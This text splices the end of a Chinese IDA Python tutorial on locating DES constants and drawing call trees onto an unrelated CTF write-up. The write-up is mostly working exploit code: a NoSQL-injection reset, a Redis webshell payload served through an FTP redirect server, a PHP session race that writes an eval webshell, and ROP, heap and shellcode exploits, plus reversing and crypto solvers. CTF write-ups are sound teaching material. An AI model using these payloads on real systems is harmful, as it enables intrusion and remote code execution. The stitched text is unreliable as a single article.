* 最主要的改变就是对齐大小发生改变。原先在磁盘中每个区会被补全为$FileAligmnet _n$大小，而在内存中则补全为$SectionAlignment_ n$的大小（n为正整数）。因此我们可以在磁盘中以文件形式读取可执行文件查找，但是查找到的常量位置是文件偏移。需要转换为虚拟内存地址后才能使用。
* 而在IDA中，可执行文件直接按照内存中的排列显示。因此省去了转换虚拟内存地址的过程。
* 此外，我们需要查找引用这些常量的代码地址，因此我们需要使用到IDA的查找交叉引用过程，这个是IDA的一个非常强大的功能，能够定位所有显式调用的代码地址。（例如 call 0x401000就是显示调用，而call eax，eax=0x401000则无法在静态分析中得到）
* IDA Python并非IDA的原生脚本语言，但是IDA Python支持所有IDA原生语言idc的特性，并且可以使用所有Python 2的库（建议添加系统路径）:
# 此处是系统中的Python2 的sys.path
syspaths=[]
import sys
for pa in syspaths:
if pa not in sys.path:
sys.path.append(pa)
* 关于IDA python的基础知识，此处就不再赘述了，有兴趣的可以找一下IDA Python-Book的文档查看一下
### 3.2 确定查找范围
* 对于查找范围，简单粗暴的办法就是用MinEA()到MaxEA()，也就是最小的虚拟地址到最大的虚拟地址。不过这种方法效率不是很高，而且存在误报风险。
* 一般常量存放在.rdata段，也有少量在.data段，因此搜索两个段足以。注意，此处可能存在文件将段名修改的情况，例如.data段换为DATA段，所以建议先查看下段名之后指定
def getSegAddr():
textStart=0;textEnd=0;dataStart=0;dataEnd=0;rdataStart=0;rdataEnd=0;
for seg in idautils.Segments():
if (idc.SegName(seg)).lower()=='.text' or (idc.SegName(seg)).lower()=='text':
textStart=idc.SegStart(seg);
textEnd=idc.SegEnd(seg);
if (idc.SegName(seg)).lower()=='.data' or (idc.SegName(seg)).lower()=='data':
dataStart=idc.SegStart(seg);
dataEnd=idc.SegEnd(seg);
if (idc.SegName(seg)).lower()=='.rdata' or (idc.SegName(seg)).lower()=='rdata':
rdataStart=idc.SegStart(seg);
rdataEnd=idc.SegEnd(seg);
return dataStart,dataEnd,rdataStart,rdataEnd;
### 3.3 编写查找常量
* 查找函数非常简单，但是有一些点需要注意：
1. 常量存储不一定都是BYTE格式，有很大可能是WORD、DWORD乃至QWORD，因此需要能够支持指定数据格式类型的匹配。
2. 在密码学中我们的索引下标（压缩或扩展变换中使用的数组）都是从1开始的，而在C语言中是从0开始的，所以匹配时需要注意可能存在一个单位的偏移。
def findCrypt(pattens,size=1):
# 目前已支持搜索data，rdata段，支持由于C语言数组下标造成的偏移的矫正，支持Crypto的单个数据单位大小指定
dataStart,dataEnd,rdataStart,rdataEnd=getSegAddr();
crypt={};
for key in pattens:
tmp=pattens[key];
patten=[0]*size*len(tmp);
for i in range(len(tmp)):
patten[i*size]=tmp[i];
addr_d1=match(patten,dataStart,dataEnd);
addr_r1=match(patten,rdataStart,rdataEnd);
# 考虑到C数组从0开始，所以index可能-1
for i in range(len(patten)):
if i%size==0:
patten[i]-=1;
addr_d2=match(patten,dataStart,dataEnd);
addr_r2=match(patten,rdataStart,rdataEnd);
if (addr_d1&addr_r1&addr_d2&addr_r2)==idc.BADADDR:
print 'const not found';
else:
crypt[key]=addr_d1&addr_r1&addr_d2&addr_r2;
print 'Find %s in addr %08x'%(key,addr_d1&addr_r1&addr_d2&addr_r2)
return crypt;
def match(patten,startEa,endEa):
if startEa==endEa:
return idc.BADADDR;
cur=startEa;
while cur<endEa-len(patten):
found_flag=1;
i=0;
while i<len(patten):
if Byte(cur+i)!=patten[i]&0xFF:
found_flag=0;
break;
i+=1;
if found_flag==1:
return cur;
cur+=1;
return idc.BADADDR
## 四、构建调用树
* 那么在先前我们找到了所有的常量数组的地址。之后就是查找交叉引用了。
* IDAPython 对此提供了DataRefsTo的API，表示查找调用此处的代码地址，并将代码地址所属的函数地址保存，下面代码中func_dict的key是函数地址，而键值是该函数调用的常量数组
func_dict={};
for k in const_data:
func_list=[];
for addr in idautils.DataRefsTo(const_data[k]):
func=idaapi.get_func(addr);
if func_dict.has_key(func.startEA):
func_dict[func.startEA].append(k);
else:
func_dict[func.startEA]=[k];
* 之后我们可以进一步使用CodeRefsTo来查找调用这些函数的代码地址以及这些代码地址所属的函数来构建调用树，其中CodeRefsTo的第二个参数0表示正常流顺序。调用树结构用list的嵌套来表示从属关系。
def del_the_same(father):
keys=father.keys();
record=[];
for k in keys:
for k1 in keys:
if k in father[k1]:
record.append(k);
for r in record:
father.pop(r);
return father
while len(func_dict)!=1:
father={};
del_list=[];
for k in func_dict:
codes=idautils.CodeRefsTo(k,0);
for code in codes:
func=idaapi.get_func(code);
if father.has_key(func.startEA) and (k not in father[func.startEA]):
if func_dict.has_key(k):
father[func.startEA].append(k);
father[func.startEA].append(func_dict[k]);
else:
father[func.startEA].append(k);
else:
if func_dict.has_key(k):
father[func.startEA]=[k,func_dict[k]];
#father[func.startEA]=[k];
else:
father[func.startEA]=[k];
for k in father:
for k1 in father[k]:
if k1 in father.keys():
father[k][father[k].index(k1)]=[k1,father[k1]];
del_list.append(k1);
for l in del_list:
father.pop(l);
father=del_the_same(father);
func_dict=father;
root_func=func_dict.keys()[0];
final_tree=[root_func,func_dict[root_func]];
while len(final_tree)==2
and (type(final_tree[0])!=type([]) and final_tree[0] not in record_func.keys()):
final_tree=final_tree[1];
* 最终我们得到调用树结构，并将其打印出来
# 绘制树状图格式
'''
href http://paste.ubuntu.org.cn/104713
'''
blank=[chr(183)]##此处为空格格式;Windows控制台下可改为chr(12288) ;linux系统中可改为chr(32)【chr(32)==' ' ;chr(183)=='·' ;chr(12288)==' '】
tabs=['']
def tree(lst):
l=len(lst)
if l==0:print('─'*3)
else:
for i,j in enumerate(lst):
if i!=0:
print tabs[0],
if l==1:
s='─'*3
elif i==0:
s='┬'+'─'*2
elif i+1==l:
s='└'+'─'*2
else:
s='├'+'─'*2
print s,
if type(j)==type([]) or isinstance(j,tuple):
if i+1==l:
tabs[0]+=blank[0]*3
else:
tabs[0]+='│'+blank[0]*2
tree(j)
else:
try:
j='sub_%08x'%j;
except:
1+1;
print(j);
tabs[0]=tabs[0][:-3]
tree(final_tree)
* 最终成功得到图的结构，此处以实验吧的”加密算法”一题为例，得到调用图如下：
┬── ┬── sub_004026a0
│ └── ┬── sub_00402590
│ └── ┬── sub_00402140
│ ├── ─── initial_message_permutation
│ ├── ┬── sub_004023b0
││ └── ┬── sub_00402280
││ └── ─── right_sub_message_permutation
│ ├── ┬── S
││ └── message_expansion
│ ├── sub_004021e0
│ └── ─── final_message_permutation
│ └── ┬── sub_00402310
│ └── ┬── sub_key_permutation
│ ├── initial_key_permutaion
│ └── initial_key_permutaion
> * 最终判断出各个函数的调用关系。
## 五、总结
* 我们成功通过了IDA Python实现了调用图生成，完成了对DES的识别与分析，但是树的代码方面有待优化（本人不是非常擅长这部分，欢迎各位大佬指正与优化），其中难免存在错漏，也欢迎各位大佬们指出。
## 六、参考文献
* FLIRT 常见库地址
* <https://github.com/Maktm/FLIRTDB>
* <https://github.com/push0ebp/sig-database>
* IDA Python-book 翻译版地址 <https://bbs.pediy.com/thread-225920.htm>
* DES 算法参考 <https://github.com/dhuertas/DES>
* 调用图绘制 <http://paste.ubuntu.org.cn/104713> | 社区文章 |
# 羊城杯 Wp By Endless
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## WEB
### CheckIn_go
跑源码 拿admin cookie
再通过整数溢出使得拿到flag的得分为0。
### No Sql
有源码`backup.zip`发现在`resetpassword`存在nosql注入，之前注了很久只知道用户名是`Sangfor`审计源码发现可以任意密码修改:
{
"token":{"$ne":null
},
"password":"1234"
}
修改进入后台后直接修改`bootstrap.php`getshell
7.4绕disable直接FFI就可
提示flag在`GPG_KEYS`里，根目录还有flag文件，以为要提权，至于真flag在哪，懒得吐槽了。。
最后flag
### Cross Site
考点是laravel最新的那个`file_get_contents`结合FTP可以打FPM，但是此处扫目录发现`.dmp`开启redis，这里使用Gopherus打redis写shell即可:
# -*- coding: utf-8 -*- # @Time : 2021/1/13 6:56 下午
# @Author : Crispr
# @File : ftp_redirect.py
# @Software:
import socket
from urllib.parse import unquote
# 对gopherus生成的payload进行一次urldecode
payload = unquote("%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2431%0D%0A/var/www/html/public/crispr.php%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A")
payload = payload.encode('utf-8')
host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
# ftp被动模式的passvie port,监听到3333
sk2 = socket.socket()
sk2.bind((host, 3333))
sk2.listen()
# 计数器，用于区分是第几次ftp连接
count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
if count == 1:
conn.send(b"220 ready\n")
else:
conn.send(b"200 ready\n")
print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据，TYPE I表示二进制， TYPE A表示文本
if count == 1:
conn.send(b"215 \n")
else:
conn.send(b"200 \n")
print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n")
print(conn.recv(20)) # EPSV\r\n'
conn.send(b"200 \n")
print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
if count == 1:
conn.send(b"227 47,95,219,96,13,5\n") # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开，其中端口的计算规则为：4*256+210=1234
else:
conn.send(b"227 127,0,0,1,24,235\n") # 端口计算规则：24*256+235 = 6379
print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n，第二次连接会收到STOR /123\r\n
if count == 1:
conn.send(b"125 \n") # 告诉客户端可以开始数据连接了
# 新建一个socket给服务端返回我们的payload
print("建立连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()
# 第一次连接是下载文件，需要告诉客户端下载已经结束
if count == 1:
conn.send(b"226 \n")
conn.close()
count += 1
在public写shell.php即可
### only4
这题。。。 谁没事有`serialize.php`啊
直接一直想尝试怎么绕过读取`secret.php`，最后非预期使用任意文件包含session来getshell
session存放地址:
`/var/lib/php5/sess_`
贴下exp:
#!coding:utf-8
import requests
import time
import threading
host = 'http://192.168.38.235:8000'
PHPSESSID = 'vrhtvjd4j1sd88onrm9t2gt2231123'
def creatSession():
while True:
files = {
"submit" : ("233.png", open("C:\\Users\\86189\\Pictures\\233.png", "rb"))
}
data = {"PHP_SESSION_UPLOAD_PROGRESS" : "<?php echo 'Crispr';file_put_contents('test.php','<?php eval($_POST[1]);?>');?>" }
headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
r = requests.post(host,files = files,headers = headers,data=data)
fileName = "/var/lib/php5/sess_" + PHPSESSID
if __name__ == '__main__':
url = "http://192.168.38.235:8000/?gwht={}&ycb=123".format(fileName)
headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
t = threading.Thread(target=creatSession,args=())
t.setDaemon(True)
t.start()
while True:
res = requests.post(url,headers=headers)
if b'Crispr' in res.content:
print (res.content)
print("[*] Get shell success.")
break
else:
print("[-] retry.")
## RE
### babyvm
虚拟机题，首先初始化虚拟机引擎，这里可以创建一个结构体让后面代码更好看。
然后就是 smc，这里直接运行过去，没有反调试
然后就是运行了。这虚拟机出题人真是花了功夫了，这指令也太多了，熬夜看这个直接点带我走
一般虚拟机题目加密都不太复杂，所以这里在几个 exit 前下个断点，猜测一下明文-密文的对应关系
可以知道前面若干位是个单字节亦或，因此在相应比较的地方下个hook，即可dump出前面的密文，这里用了自己写的一个库
import auto_cracker as ac
import ida_dbg
class Myactions(ac.Actions):
def __init__(self):
super().__init__()
self.bpt_actions = [ac.B(0x8048F0B, self.bpt_cbk)]
def bpt_cbk(self):
edx = ida_dbg.get_reg_val("edx")
eax = ida_dbg.get_reg_val("eax")
ans = chr(eax ^ 0x61 ^ edx)
print(ans,end='')
ida_dbg.set_reg_val("eax", edx)
self.request_continue()
a = ac.AutoCracker(Myactions())
a.hook()
得到前面是 16584abc45baff901c59dde3b1bb6701
后面就很阴间了，发现此时的验证变成 4个字符验证一次，所以就没法通过前面的方法偷懒了，必须得知道是怎么加密的，基本就是动调然后记录寄存器的变化，然后 z3
解方程，过程太多不再赘述，仅拿前4位举例了
import z3
solver = z3.Solver()
plain = [z3.BitVec("p%d" % i, 64) for i in range(4)]
# plain = b'a254'
plain_int = 0
for i in range(4):
plain_int <<= 8
plain_int += plain[i]
r7 = plain_int
r1 = r7
r1 >>= 5
r1 ^= r7
r7 = r1
r1 <<= 7
r1 &= 2565961507
r1 ^= r7
r7 = r1
r1 <<= 24
r1 &= 904182048
r1 ^= r7
r7 = r1
r1 >>= 18
r1 ^= r7
solver.add(r1 == 0x6FEBF967)
for i in range(4):
solver.add(plain[i] <= 122)
solver.add(plain[i] >= 48)
print(solver.check())
mod = solver.model()
for p in plain:
print(chr(mod[p].as_long()))
得到最终的flag 16584abc45baff901c59dde3b1bb6701a254b06cdc23
### babysmc
有自解密的部分，但是没有反调，所以约等于没有
动调发现这部分逻辑根本不会运行到，无视
看密文很像 base64 编码的数据
回过头来看编码过程，基本就能判断是 base64 了
编码后的数据还亦或加密了，所以解码前先亦或回去
cipher = [
i for i in b'H>oQn6aqLr{DH6odhdm0dMe`MBo?lRglHtGPOdobDlknejmGI|ghDb<4']
charset = b'\xe4\xc4\xe7\xc7\xe6\xc6\xe1\xc1\xe0\xc0\xe3\xc3\xe2\xc2\xed\xcd\xec\xcc\xef\xcf\xee\xce\xe9\xc9\xe8\xc8\xeb\xcb\xea\xca\xf5\xd5\xf4\xd4\xf7\xd7\xf6\xd6\xf1\xd1\xf0\xd0\xf3\xd3\xf2\xd2\xfd\xdd\xfc\xdc\xff\xdf\x95\x9c\x9d\x92\x93\x90\x91\x96\x97\x94\x8a\x8e'
print(len(cipher))
for i in range(len(cipher)//4):
cipher[4*i+0] ^= 0xa6
cipher[4*i+1] ^= 0xa3
cipher[4*i+2] ^= 0xa9
cipher[4*i+3] ^= 0xac
print(cipher)
然后随便找个现成的解base64 的就行了，这里用的golang
encoder := base64.NewEncoding(string(charset))
encoder.Decode(plain, cipher)
fmt.Println(string(plain))
### ez_android
将密码传入进行socket远程通信，并且在此之前进行md5验证，这里每一个hex进行-1操作，还原即可
查询md5为654321
直接nc连得到character表，进行base64换表解密即可
import base64
import string
str1 = "3lkHi9iZNK87qw0p6U391t92qlC5rwn5iFqyMFDl1t92qUnL6FQjqln76l-P"
string1 = "TGtUnkaJD0frq61uCQYw3-FxMiRvNOB/EWjgVcpKSzbs8yHZ257X9LldIeh4APom"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))
得到SangFor{212f4548-03d1-11ec-ab68-00155db3a27e}
## PWN
### Babyrop
栈溢出，先利用函数对bss段上`/cin/sh`异或成为`/bin/sh`，然后利用system执行`system("/bin/sh")`
from pwn import*
context(os='linux', arch='i386', log_level='debug')
#r = process('./BabyRop')
r = remote('192.168.38.235', 11000)
elf = ELF('./BabyRop')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
sys_plt = elf.plt['system']
fun2 = 0x080491FD
main_addr = 0x0804926B
payload = b'A'*0x28+b'B'*0x4
payload+= p32(fun2)+p32(0x08049332)+p32(0x0804C024)+p32(1)+p32(0x080491D6)+p32(main_addr)+p32(0x0804C024)
r.sendline(payload)
r.interactive()
### name
先申请一波chunk清理一下bin
利用残留的内容泄露堆地址和libc地址
构造chunka,b,c，伪造prevsize，利用off by null造成chunk overlap
然后利用fastbin attack配合在堆上伪造的size位造成对包含puts指针的chunk的overlap
修改puts指针指向`setcontext+53`，修改后面的chunk地址为计划填入frame的heap地址
利用SigreturnFrame生成frame填入对应的chunk
接着执行选项三进入setcontext，向fake_rsp读入shellcode最终执行orw
from pwn import*
#r = process('./name')
r = remote('192.168.38.235',9999)
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./name')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def set(size):
r.sendlineafter('5.exit\n', str(1))
r.sendlineafter('name size:\n', str(size))
def edit(idx, ct):
r.sendlineafter('5.exit\n', str(2))
r.sendlineafter('index:\n', str(idx))
r.sendafter('name:\n', ct)
def puts(idx):
r.sendlineafter('5.exit\n', str(3))
r.sendlineafter('index:\n', str(idx))
def delete(idx):
r.sendlineafter('5.exit\n', str(4))
r.sendlineafter('index:\n', str(idx))
for i in range(6):
set(0x70)
puts(0)
heap_addr = u64(r.recv(6).ljust(8,'\x00'))
print 'heap_addr ===> ', hex(heap_addr)
puts(5)
libc.address = u64(r.recv(6).ljust(8,'\x00'))-312-0x10-libc.symbols['__malloc_hook']
free_hook = libc.symbols['__free_hook']
syscall = libc.symbols['syscall']+23
print hex(libc.address)
set(0xa8)#6
set(0x58)#7
set(0xf8)#8
set(0x100)#9
delete(6)
edit(7, 'A'*0x50+p64(0x110))
delete(8)
set(0x100) #6
delete(7)
taraddr = heap_addr-0x130
fakeframe = heap_addr+0x7c0+0x10
edit(6, 'A'*0xa8+p64(0x60)+p64(taraddr))
edit(0, 'Z'*0x60+p64(0)+p64(0x61))
set(0x50)
set(0x50)
edit(8, p64(0)+p64(0x21)+p64(libc.symbols['setcontext']+53)+p64(fakeframe))
fake_rsp = free_hook&0xfffffffffffff000
frame = SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=fake_rsp
frame.rdx=0x2000
frame.rsp=fake_rsp
frame.rip=syscall
print hex(len(frame))
edit(9, str(frame))
puts(1)
prdi_ret = libc.search(asm("pop rdi\nret")).next()
prsi_ret = libc.search(asm("pop rsi\nret")).next()
prdx_ret = libc.search(asm("pop rdx\nret")).next()
prax_ret = libc.search(asm("pop rax\nret")).next()
jmp_rsp = libc.search(asm("jmp rsp")).next()
mprotect_addr = libc.sym['mprotect']
payload = p64(prdi_ret)+p64(fake_rsp)
payload += p64(prsi_ret)+p64(0x1000)
payload += p64(prdx_ret)+p64(7)
payload += p64(prax_ret)+p64(10)
payload += p64(syscall)
payload += p64(jmp_rsp)
payload += asm(shellcraft.open('flag'))
payload += asm(shellcraft.read(3,fake_rsp+0x300,0x30))
payload += asm(shellcraft.write(1,fake_rsp+0x300,0x30))
r.send(payload)
r.interactive()
### nologin
直接进入`admin`进行栈溢出
栈上布置两段shellcode，返回地址写`jmp rsp`往下执行，清零rax以后再用`jmp $-0x16`往上跳转
布置好rdx以后直接syscall就能从更低地址处开始读入数据
控制好偏移再在第三段shellcode前面填充`nop`滑行，最终执行orw读出flag
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
#r = process('./nologin')
r = remote('192.168.38.235',40001)
libc = ELF('./libc.so.6')
main_addr = 0x40106B
jmp_rsp = 0x4016fb
shell = '''
xor rax, rax
jmp $-0x16
'''
shell2='''
push 0x200
pop rdx
syscall
'''
payload = 'AA'+asm(shell2).ljust(11, 'A')+p64(jmp_rsp)+asm(shell)
r.recvuntil('input>> \n')
r.sendline('2')
r.recvuntil('>password: \n')
r.sendline(payload)
print len(asm(shell))
shell3 = '''
nop
nop
nop
nop
nop
nop
nop
push 0x67616c66
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rdi, 4
mov rsi, rsp
push 0x50
pop rdx
xor rax, rax
syscall
push 1
pop rax
push 1
pop rdi
mov rsi, rsp
push 0x50
pop rdx
syscall
'''
pay = 'A'*0x2e+asm(shell3)
sleep(0.5)
r.send(pay)
r.interactive()
### how2heap
ptr填满后del函数只会移动前46,del(0)后46==47,存在UAF,double
free劫持idx_range,后面加上个负数,get_a_int函数存在正溢,del((1<<32)-5)等同del(-5),负数前移替代idx_range,再申请覆盖got,写shellcode,getshell
#coding:utf-8
from pwn import *
import subprocess, sys, os
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './how2heap'
ip = '192.168.38.235'
port = 8889
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
context(os='linux', arch='amd64')
#context.log_level = 'debug'
def run(local = 1):
global elf
global p
if local == 1:
elf = ELF(elf_path, checksec = False)
p = elf.process()
else:
p = remote(ip, port)
def debug(cmd=''):
# context.terminal = []
gdb.attach(p,cmd)
pause()
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def str2int(s, info = '', offset = 0):
ret = u64(s.ljust(8, '\x00')) - offset
success('%s ==> 0x%x'%(info, ret))
return ret
def chose(idx):
sla('> ', str(idx))
def add(content = '\n'):
chose(1)
sa('content: ', content)
def show(idx):
chose(2)
sla('id: ', str(idx))
def free(idx):
chose(3)
sla('id: ', str(idx))
def free_m(idx):
chose(3)
sa('id: ', str(minus(idx)))
def minus(num):
return (1<<32)-num
run(0)
for i in range(47):
add()
add('\0'*0x10)
add()
# debug('b *0x400B13')
n = 3
for i in range(n):
free(0)
free(48-n)
show(47-n)
heap = str2int(p.recv(6).ljust(8,'\0'), 'heap', 0x40-0x150)
#debug()
#exit(0)
free(0)
free(46-n)
add(p64(0x6020A0-0x8))
add()
add()
offset = (0x602040-0x6020C0)/8-1+(1<<64)-2
add(p64(offset)+p64(0x21))
for i in range(n-1):
add()
for i in range(n):
free(0)
free(48-n)
show(47-n)
context.log_level='debug'
free(0)
free(46-n)
add(p64(0x6020A0+0x8))
add()
add()
add('a'*0x8+p64(0x602020))
#debug()
show(0)
libc = ELF(remote_libc_path)
libc.address = str2int(p.recv(6).ljust(8,'\0'), 'libc')#, libc.sym['write'])
#pause()
p.recvuntil('4.bye\n')
print(hex(libc.address))
print(hex(heap))
for i in range(6):
free(3)
shell1 = '''
push 0x68732f
jmp $+0x1b
'''
shell2 = '''
//push 0x68732f6e69622f
mov rdi,{}
jmp $+0x19
'''.format(heap+0xc0)
shell3 = '''
jmp $+0x20
'''
shell4 = '''
xor rsi, rsi
xor rdx, rdx
jmp $+0x1a
'''
shell5 = '''
mov rax, SYS_execve
syscall
'''
add('/bin/sh\0')
shellcode5 = asm(shell5)
add(shellcode5)
shellcode4 = asm(shell4)
add(shellcode4)
shellcode3 = asm(shell3)
add(shellcode3)
shellcode2 = asm(shell2)
add(shellcode2)
shellcode1 = asm(shell1)
free_m(5)
one = libc.address + one_gadget()[0]
#shellcode = '\xff\x25'+p32(2)+'\0\0'+p64(one)
print(len(shellcode1))
#debug('b *0x400633')
add(shellcode1)
p.interactive()
## CRYPTO
### ringringring
import hashlib
from pwn import *
def proof_of_work(a,b):
i=1
while True:
if(hashlib.md5((str(i)+b).encode("utf-8")).hexdigest()[0:5]==a):
return str(i)
i=i+1
def autoflag():
r = remote("192.168.38.235", 2378)
s = r.recv().decode("utf-8")
s1 = s.split(" ")
a = s1[-1][:5]
b = s1[-3][:4]
d1 = proof_of_work(a, b)
r.send(d1.encode())
print(r.recvuntil(b"a:"))
for n in range(100):
print(n)
for i in [1,1,1,1,2]:
if i!=1:
r.send(bytes(str(i * (10**(2*n)) ), encoding='utf-8'))
r.recvuntil(b":")
else:
r.send(bytes(str(i * (10 ** n)), encoding='utf-8'))
r.recvuntil(b":")
print(r.recvuntil(b"}"))
autoflag()
得到GWHT{a_funny_equation}
### Easy_Rsa
用tb师傅的博客一把梭
from Crypto.Util.number import *
def f(x, n):
return (pow(x, n - 1, n) + 3) % n
def rho(n):
i = 1
while True:
a = getRandomRange(2, n)
b = f(a, n)
j = 1
while True:
p = GCD(abs(a - b), n)
print('{} in {} circle'.format(j, i))
if p == n:
break
elif p > 1:
return (p, n // p)
else:
a = f(a, n)
b = f(f(b, n), n)
j += 1
i += 1
def main():
n = 84236796025318186855187782611491334781897277899439717384242559751095347166978304126358295609924321812851255222430530001043539925782811895605398187299748256080526691975084042025794113521587064616352833904856626744098904922117855866813505228134381046907659080078950018430266048447119221001098505107823645953039
print(rho(n))
if __name__ == '__main__':
main()
之后拿到p q正常加解密就行
### MISS
没有用addroundkey的AES
找个实现改改就出
InvSbox = (
0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D,
)
# learnt from http://cs.ucsb.edu/~koc/cs178/projects/JT/aes.c
xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)
Rcon = (
0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
)
def text2matrix(text):
matrix = []
for i in range(16):
byte = (text >> (8 * (15 - i))) & 0xFF
if i % 4 == 0:
matrix.append([byte])
else:
matrix[i / 4].append(byte)
return matrix
class AES:
def __init__(self):
pass
def decrypt(self, ciphertext):
self.cipher_state = text2matrix(ciphertext)
self.__inv_shift_rows(self.cipher_state)
self.__inv_sub_bytes(self.cipher_state)
for i in range(9, 0, -1):
self.__inv_mix_columns(self.cipher_state)
self.__inv_shift_rows(self.cipher_state)
self.__inv_sub_bytes(self.cipher_state)
return matrix2text(self.cipher_state)
def __inv_sub_bytes(self, s):
for i in range(4):
for j in range(4):
s[i][j] = InvSbox[s[i][j]]
def __inv_shift_rows(self, s):
s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1]
s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3]
def __mix_single_column(self, a):
# please see Sec 4.1.2 in The Design of Rijndael
t = a[0] ^ a[1] ^ a[2] ^ a[3]
u = a[0]
a[0] ^= t ^ xtime(a[0] ^ a[1])
a[1] ^= t ^ xtime(a[1] ^ a[2])
a[2] ^= t ^ xtime(a[2] ^ a[3])
a[3] ^= t ^ xtime(a[3] ^ u)
def __mix_columns(self, s):
for i in range(4):
self.__mix_single_column(s[i])
def __inv_mix_columns(self, s):
# see Sec 4.1.3 in The Design of Rijndael
for i in range(4):
u = xtime(xtime(s[i][0] ^ s[i][2]))
v = xtime(xtime(s[i][1] ^ s[i][3]))
s[i][0] ^= u
s[i][1] ^= v
s[i][2] ^= u
s[i][3] ^= v
self.__mix_columns(s)
if __name__ == '__main__':
